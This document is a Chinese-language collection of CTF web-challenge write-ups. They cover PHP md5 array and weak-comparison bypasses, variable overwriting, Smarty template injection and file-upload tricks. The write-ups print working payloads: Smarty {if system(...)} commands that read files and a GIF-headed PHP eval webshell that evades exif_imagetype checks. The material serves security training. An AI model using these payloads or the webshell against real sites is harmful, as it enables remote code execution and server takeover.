[GDOUCTF 2023]受不了一点
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
-
过4个if就能拿到flag
-
第一处if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))直接数组绕过
gdou[]=1&ctf[]=2
- 第二处if($_COOKIE['cookie']=='j0k3r')不能用hackbar传,因为hackbar好像默认传的格式有问题
cookie=j0k3r
- 第三处if($aaa==114514 && $bbb==114514 && $aaa!=$bbb)直接弱类型比较
?aaa=114514&bbb=114514a
- 最后是一个典型的变量覆盖,分析一下,get和post必须只传一个flag参数,并且参数值不能是flag,foreach可以把传参的键值对拆开,创建一个以键名为名的变量,值为键值对的值,传了flag为别的值,就会覆盖原本flag的值,但是这里有俩foreach,我们就可以先a=flag,让a变量值为flag,再flag=a,让flag变量值为a变量的值
a=flag&flag=a
[HDCTF 2023]SearchMaster
- 题目提示YOU CAN POST ME A data,这里存在post传参
- 随便传了个ls,并没有出目录,说明不是rce,但是注意到我们的输入被显示在了页面之中,这是ssti的特征
- 同时,dirsearch扫出了一个composer.json,访问内容支持了我们的推测
{
"name": "smarty/smarty",
"type": "library",
"description": "Smarty - the compiling PHP template engine",
"keywords": [
"templating"
],
"homepage": "https://smarty-php.github.io/smarty/",
"license": "LGPL-3.0",
"authors": [
{
"name": "Monte Ohrt",
"email": "monte@ohrt.com"
},
{
"name": "Uwe Tews",
"email": "uwe.tews@googlemail.com"
},
{
"name": "Rodney Rehm",
"email": "rodney.rehm@medialize.de"
},
{
"name": "Simon Wisselink",
"homepage": "https://www.iwink.nl/"
}
],
"support": {
"issues": "https://github.com/smarty-php/smarty/issues",
"forum": "https://github.com/smarty-php/smarty/discussions"
},
"require": {
"php": "^7.1 || ^8.0"
},
"autoload": {
"classmap": [
"libs/"
]
},
"extra": {
"branch-alias": {
"dev-master": "4.0.x-dev"
}
},
"require-dev": {
"phpunit/phpunit": "^8.5 || ^7.5",
"smarty/smarty-lexer": "^3.1"
}
}
- 这里是3.1的smarty模板,记录(一)那道smarty模板总结了smarty用于rce的几种利用方法,这里直接用if实现rce.
data={if system('ls /')}{/if}
data={if system('cat /flag_13_searchmaster')}{/if}
[HNCTF 2022 Week1]easy_html
- 提示cookie里面有提示
- 抓包发现隐藏文件f14g.php
- 访问网页,提示输手机号,随便输了点没给通过,再抓包,抓到了上传的手机号cnt,右边的url编码解码出来是login=登录
- 看了wp才之后网页的表单有个长度限制10位,是一个js文件搞的,登录不用其他验证,输11位手机号就行了,那么就有三种思路了:
- 可以把js暂时禁用掉
- 可以改一下js文件
- 把上传网页的源代码扒下来自己构建一个上传表单
- 这些都不如burp直接改post请求,因为构建上传表单其实也就是构造了一个post请求而已
[第五空间 2021]EasyCleanup
- 学到了一个新知识,PHP_SESSION_UPLOAD_PROGRESS文件包含,单开一篇
[NISACTF 2022]middlerce
- 学到了正则匹配回溯绕过,单开一篇
[SWPUCTF 2021 新生赛]hardrce_3
- 学到了Open_basedir绕过,单开一篇
[SWPUCTF 2022 新生赛]where_am_i
- 有点misc的感觉,让输一个11位的数,多半是手机号
- 拿去百度识图一下,确定了照片的位置
- 搜这个位置,得到了电话
- 输入电话号码,成功拿到flag
[HNCTF 2022 WEEK2]easy_include
- 这里学到了日志包含,单开一篇吧
[GDOUCTF 2023]
- 一道严格的ssti过滤,单开一篇吧
[WUSTCTF 2020]CV Maker
- 进来后有注册界面,既然是文件上传的题那就登进去看看
- 进去之后果然有了文件上传的地方,但是随便上传一个木马提示
exif_imagetype not image!
- exif_imagetype是php的一个函数,通过检查文件头来实现文件类型检查,那就使用文件头是gif的那个马,上传成功
GIF89a
<script language="php">eval($_POST['a']);</script>
- 但是并不知道上传到哪里去了,蚁剑直接连接本目录同名文件也不行,在页面元素中搜索关键词upload即可找到图片链接
- 蚁剑连上之后到根目录有flag文件,但是打开没有内容,这里并不是没有内容,而是因为没有读的权限
- 注意到有个readflag文件,虽然依然没有读的权限,但是按套路这个文件是有可执行权限的,执行即可得到flag